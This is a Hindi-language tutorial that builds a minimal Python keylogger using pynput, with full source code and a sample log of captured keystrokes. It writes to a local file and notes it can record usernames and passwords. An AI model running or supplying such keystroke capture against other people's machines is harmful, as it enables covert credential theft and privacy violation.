यहां हम पायथन का उपयोग करके एक कीलॉगर विकसित करने जा रहे हैं। लेकिन उससे पहले, कीलॉगर क्या है? कीलॉगर एक प्रोग्राम है जिसके साथ हम कीस्ट्रोक्स की निगरानी करते हैं। ये कीस्ट्रोक्स एक लॉग फ़ाइल में संग्रहीत किए जाएंगे। हम इस कीस्ट्रोक का उपयोग करके उपयोगकर्ता नाम और पासवर्ड जैसी संवेदनशील जानकारी रिकॉर्ड कर सकते हैं।
कीलॉगर बनाने के लिए हम pynput मॉड्यूल का उपयोग करने जा रहे हैं। चूंकि यह पायथन की मानक लाइब्रेरी नहीं है, इसलिए हमें इसे इंस्टॉल करने की आवश्यकता हो सकती है।
pyxhook मॉड्यूल इंस्टॉल करना -
मैं pynput इंस्टॉल करने के लिए पिप का उपयोग करने जा रहा हूं:
pip install pynput Requirement already satisfied: pynput in c:\python\python361\lib\site-packages (1.4) Requirement already satisfied: six in c:\python\python361\lib\site-packages (from pynput) (1.10.0)
अपने पायथन शेल में मॉड्यूल आयात करने का प्रयास करके जांचें कि इंस्टॉलेशन सफल है या नहीं:
>>> import pynput >>>
कीलॉगर बनाना शुरू करें
एक बार आवश्यक लाइब्रेरी इंस्टॉल हो जाने पर, आवश्यक पैकेज और मेथड आयात करें। कीबोर्ड की निगरानी करने के लिए, हम pynput.keyboard मॉड्यूल के key और listener मेथड का उपयोग करने जा रहे हैं। हम कीस्ट्रोक्स को फ़ाइल में लॉग करने के लिए लॉगिंग मॉड्यूल का भी उपयोग करने जा रहे हैं।
from pynput.keyboard import Key, Listener import logging
अगला, हम वह पथ सेट करने जा रहे हैं जहां हम अपनी लॉग फ़ाइलों को संग्रहीत करने जा रहे हैं, किस मोड में लॉग संग्रहीत किए जाएंगे और प्रारूप।
log_dir = r"C:/users/username/desktop/" logging.basicConfig(filename=(log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
फिर हम on_press() फ़ंक्शन को कॉल करते हैं जो कीप्रेस के लिए एक परिभाषा बनाता है और कुंजी को पैरामीटर के रूप में लेता है।
def on_press(key):
logging.info(str(key))
अंतिम चीज जो हम करने जा रहे हैं वह है Listener का एक इंस्टेंस सेट करना और इसमें on_press मेथड को परिभाषित करना और फिर इंस्टेंस को मुख्य थ्रेड से जोड़ना।
with Listener(on_press=on_press) as listener:
listener.join()
उपरोक्त चरणों को मिलाकर, हम अपना अंतिम प्रोग्राम बनाने के चरण में हैं:
from pynput.keyboard import Key, Listener
import logging
log_dir = r"C:/users/rajesh/desktop/"
logging.basicConfig(filename=(log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
जब मेरी स्क्रिप्ट चल रही थी, मैंने एक ब्राउज़र खोलने और "hello world, Wikipedia" टाइप करने का प्रयास किया। आइए देखें कि हमारी लॉग फ़ाइल का क्या हुआ -
मैं देख सकता हूं, मेरे कंप्यूटर डेस्कटॉप पर एक "keyLog.txt" फ़ाइल बनाई गई है और यदि मैं इसकी सामग्री देखने का प्रयास करता हूं तो मुझे मिलता है -
2019-01-18 17:06:21,854: Key.cmd 2019-01-18 17:06:22,022: 'd' 2019-01-18 17:06:39,304: 'h' 2019-01-18 17:06:39,435: 'e' 2019-01-18 17:06:39,564: 'l' 2019-01-18 17:06:39,754: 'l' 2019-01-18 17:06:39,943: 'o' 2019-01-18 17:06:40,245: Key.space 2019-01-18 17:06:40,450: 'w' 2019-01-18 17:06:40,536: 'o' 2019-01-18 17:06:40,694: 'r' 2019-01-18 17:06:40,818: 'l' 2019-01-18 17:06:40,943: 'd' 2019-01-18 17:06:43,527: ',' 2019-01-18 17:06:44,947: Key.space 2019-01-18 17:06:45,091: 'p' 2019-01-18 17:06:45,342: 'y' 2019-01-18 17:06:45,468: 't' 2019-01-18 17:06:45,580: 'h' 2019-01-18 17:06:45,674: 'o' 2019-01-18 17:06:45,808: 'n' 2019-01-18 17:06:45,872: Key.space 2019-01-18 17:06:48,692: Key.backspace 2019-01-18 17:06:48,891: Key.backspace 2019-01-18 17:06:49,079: Key.backspace 2019-01-18 17:06:49,223: Key.backspace 2019-01-18 17:06:49,405: Key.backspace 2019-01-18 17:06:49,584: Key.backspace 2019-01-18 17:06:49,816: Key.backspace 2019-01-18 17:06:50,004: 'w' 2019-01-18 17:06:50,162: 'i' 2019-01-18 17:06:50,392: 'k' 2019-01-18 17:06:50,572: 'i' 2019-01-18 17:06:51,395: 'p' 2019-01-18 17:06:51,525: 'e' 2019-01-18 17:06:51,741: 'd' 2019-01-18 17:06:51,838: 'i' 2019-01-18 17:06:52,104: 'a'
तो हम देख सकते हैं कि मैंने अपने ब्राउज़र में जो भी टाइप करने का प्रयास किया, हर कीस्ट्रोक इस फ़ाइल में संग्रहीत हैं। तो, हमने यहां पायथन में एक बहुत ही सरल कीलॉगर बनाया है।